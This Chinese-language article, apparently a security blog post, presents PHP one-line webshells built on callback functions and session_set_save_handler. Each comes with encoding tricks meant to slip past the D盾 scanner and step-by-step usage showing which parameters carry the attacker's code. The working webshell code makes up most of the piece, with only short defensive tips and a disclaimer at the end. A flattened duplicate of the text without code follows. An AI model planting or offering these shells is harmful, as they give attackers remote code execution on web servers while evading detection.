PHP一句话木马研究
字数 1262 2025-08-18 11:37:53

PHP一句话木马研究与绕过技术详解

一、一句话木马概述

一句话木马(Webshell)是一种短小精悍的恶意脚本,通常隐藏在正常网页文件中,攻击者可以通过简单的HTTP请求与服务器交互,执行任意系统命令或代码。PHP一句话木马因其灵活性和隐蔽性,成为渗透测试和黑客攻击中常用的工具。

二、回调函数类一句话木马

1. 基本原理

回调函数(Callback)是指通过函数参数传递到其他代码的可执行代码引用。PHP提供了多种回调函数,这些函数可以被用来构造一句话木马。

2. 常见已被查杀的回调函数

以下回调函数已被D盾等安全软件标记为危险:

  • array_filter()
  • array_walk()
  • array_walk_recursive()
  • array_map()
  • register_shutdown_function()
  • filter_var()
  • filter_var_array()
  • uasort()
  • uksort()
  • array_reduce()

3. 绕过示例

(1) register_tick_function

<?php 
declare(ticks=1); 
register_tick_function(base64_decode($_REQUEST['e']), $_REQUEST['a']); 
?>

使用方法

  • 访问URL: IP/XXX.php?e=YXNzZXJ0 (YXNzZXJ0是"assert"的base64编码)
  • 密码参数: a

(2) 变种call_user_func_array

<?php
function newsSearch($para0, $para1) {
    $evil = $para0;
    call_user_func_array($para1, array($evil));
}
$exec = base64_decode($_GET['id']);
newsSearch($_POST['tid'], $exec);
?>

使用方法

  • 访问URL: IP/XXX.php?id=YXNzZXJ0
  • POST参数: tid=要执行的代码

(3) 变种call_user_func

<?php
function newsSearch($para0, $para1) {
    $evil = $para0;
    call_user_func($para1, $evil);
}
$exec = base64_decode($_GET['id']);
newsSearch($_POST['tid'], $exec);
?>

(4) 变种array_udiff

<?php
function newsSearch($para0, $para1) {
    $evil = $para0;
    $exec = $para1;
    array_udiff($arr=array($evil), $arr1=array(''), $exec);
}
$exec = base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'], $exec);
?>

使用方法

  • 访问URL: IP/XXX.php?exec=YXNzZXJ0
  • POST参数: key=要执行的代码

三、session_set_save_handler类一句话木马

1. 基本原理

session_set_save_handler()函数可以定义用户级的session保存函数。通过巧妙构造,可以使PHP自动执行恶意代码。

2. 基础版本

<?php 
error_reporting(0);
$session = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); //assert

function open($save_path, $session_name) {}
function close() {}
function write($id, $sess_data) {}
function destroy($id) {}
function gc() {}

session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
session_id($_REQUEST['op']);
@session_start();
?>

问题:直接使用assert会被D盾检测到。

3. 绕过版本

<?php
error_reporting(0);

function test($para) {
    session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
    @session_start();
}

function open($save_path, $session_name) {}
function close() {}
function write($id, $sess_data) {}
function destroy($id) {}
function gc() {}

$session = base64_decode($_REQUEST['id']);
session_id($_REQUEST['op']);
test($session);
?>

使用方法

  • 访问URL: IP/XXX.php?id=YXNzZXJ0&op=要执行的代码
  • 原理:通过GET传入id参数(base64编码的"assert"),op参数为要执行的代码

四、防御与检测建议

  1. 输入验证:对所有用户输入进行严格过滤
  2. 禁用危险函数:在php.ini中禁用asserteval等危险函数
  3. 文件监控:监控网站目录的文件变化
  4. 代码审计:定期进行代码安全审计
  5. 使用安全软件:部署WAF、D盾等安全防护产品
  6. 最小权限原则:Web服务器以最低必要权限运行

五、总结

本文详细介绍了多种PHP一句话木马的构造方法及其绕过安全检测的技术,包括回调函数类和session处理类的实现方式。这些技术展示了攻击者如何利用PHP语言的灵活性来隐藏恶意代码。安全人员应了解这些技术以便更好地防御,但切勿将其用于非法用途。

PHP一句话木马研究与绕过技术详解 一、一句话木马概述 一句话木马(Webshell)是一种短小精悍的恶意脚本,通常隐藏在正常网页文件中,攻击者可以通过简单的HTTP请求与服务器交互,执行任意系统命令或代码。PHP一句话木马因其灵活性和隐蔽性,成为渗透测试和黑客攻击中常用的工具。 二、回调函数类一句话木马 1. 基本原理 回调函数(Callback)是指通过函数参数传递到其他代码的可执行代码引用。PHP提供了多种回调函数,这些函数可以被用来构造一句话木马。 2. 常见已被查杀的回调函数 以下回调函数已被D盾等安全软件标记为危险: array_filter() array_walk() array_walk_recursive() array_map() register_shutdown_function() filter_var() filter_var_array() uasort() uksort() array_reduce() 3. 绕过示例 (1) register_ tick_ function 使用方法 : 访问URL: IP/XXX.php?e=YXNzZXJ0 (YXNzZXJ0是"assert"的base64编码) 密码参数: a (2) 变种call_ user_ func_ array 使用方法 : 访问URL: IP/XXX.php?id=YXNzZXJ0 POST参数: tid=要执行的代码 (3) 变种call_ user_ func (4) 变种array_ udiff 使用方法 : 访问URL: IP/XXX.php?exec=YXNzZXJ0 POST参数: key=要执行的代码 三、session_ set_ save_ handler类一句话木马 1. 基本原理 session_set_save_handler() 函数可以定义用户级的session保存函数。通过巧妙构造,可以使PHP自动执行恶意代码。 2. 基础版本 问题 :直接使用 assert 会被D盾检测到。 3. 绕过版本 使用方法 : 访问URL: IP/XXX.php?id=YXNzZXJ0&op=要执行的代码 原理:通过GET传入 id 参数(base64编码的"assert"), op 参数为要执行的代码 四、防御与检测建议 输入验证 :对所有用户输入进行严格过滤 禁用危险函数 :在php.ini中禁用 assert 、 eval 等危险函数 文件监控 :监控网站目录的文件变化 代码审计 :定期进行代码安全审计 使用安全软件 :部署WAF、D盾等安全防护产品 最小权限原则 :Web服务器以最低必要权限运行 五、总结 本文详细介绍了多种PHP一句话木马的构造方法及其绕过安全检测的技术,包括回调函数类和session处理类的实现方式。这些技术展示了攻击者如何利用PHP语言的灵活性来隐藏恶意代码。安全人员应了解这些技术以便更好地防御,但切勿将其用于非法用途。